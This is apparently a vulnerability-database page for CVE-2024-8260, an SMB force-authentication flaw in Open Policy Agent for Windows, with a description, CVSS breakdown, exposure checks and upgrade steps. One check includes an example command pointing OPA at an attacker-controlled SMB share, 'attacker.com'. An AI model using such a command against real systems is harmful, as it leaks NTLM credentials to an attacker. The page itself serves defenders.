CVE-2024-8260
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedA SMB force-authentication vulnerability exists in all versions of OPA for Windows prior to v0.68.0. The vulnerability exists because of improper input validation, allowing a user to pass an arbitrary SMB share instead of a Rego file as an argument to OPA CLI or to one of the OPA Go library’s functions.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceA force-authentication vulnerability exists in OPA for Windows due to improper input validation, allowing attackers to supply an arbitrary SMB share path instead of a Rego file. This causes OPA to attempt authentication to an attacker-controlled SMB server, potentially enabling NTLM hash leakage or relay attacks.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data< 0.68.0CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Local
- Complexity
- Low
- Privileges
- Low
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
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Check OPA version on WindowsRun 'opa version' in Command Prompt or PowerShell to obtain the installed OPA versionAffected if The version displayed is earlier than 0.68.0 (e.g., 0.67.0, 0.66.0, etc.)
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Confirm Windows operating systemRun 'systeminfo | findstr /B /C:"OS Name"' or check system properties to verify the operating system is WindowsAffected if The system is running Windows and the OPA version is below 0.68.0
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Identify policy loading methodReview how OPA is invoked: check for commands passing file paths, URLs, or SMB paths as policy sources (e.g., 'opa run //attacker.com/share/policy')Affected if OPA is being used to load Rego policies from SMB/network share paths on a Windows system with an affected version
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Audit OPA process executionUse Task Manager or 'wmic process get Name,CommandLine' to inspect running OPA processes and their arguments for SMB-style paths (UNC paths beginning with \\ or URLs to SMB shares)Affected if OPA processes are executing with SMB share paths as arguments on a Windows host with OPA version < 0.68.0
A Windows system is affected if OPA version is below 0.68.0 and OPA is used to load policies from attacker-controlled SMB share paths, allowing NTLM credential leakage or relay.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
dbcve · scoped0.68.0
Upgrade OPA for Windows to version v0.68.0 or later to remediate the improper input validation vulnerability.
Open Policy Agent v0.68.0 or later
- Identify all Windows systems running Open Policy Agent versions prior to 0.68.0
- Download Open Policy Agent version 0.68.0 or later from the official OPA releases (github.com/open-policy-agent/opa)
- Test the upgrade in a non-production environment to verify compatibility
- Schedule a maintenance window for production systems
- Stop the OPA service on affected Windows systems
- Replace the OPA binary with version 0.68.0 or later
- Restart the OPA service and verify normal operation
- Verify that OPA correctly handles Rego file inputs and rejects arbitrary SMB share paths
Generated from the published advisory — verify against the referenced sources before acting.
- Consultation1.0 h
- Implementation2.0 h
- Testing2.0 h
- Review / QA1.0 h
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Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2024-8260 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2024-8260 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
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- Version or environment caveats, and links to real fixes
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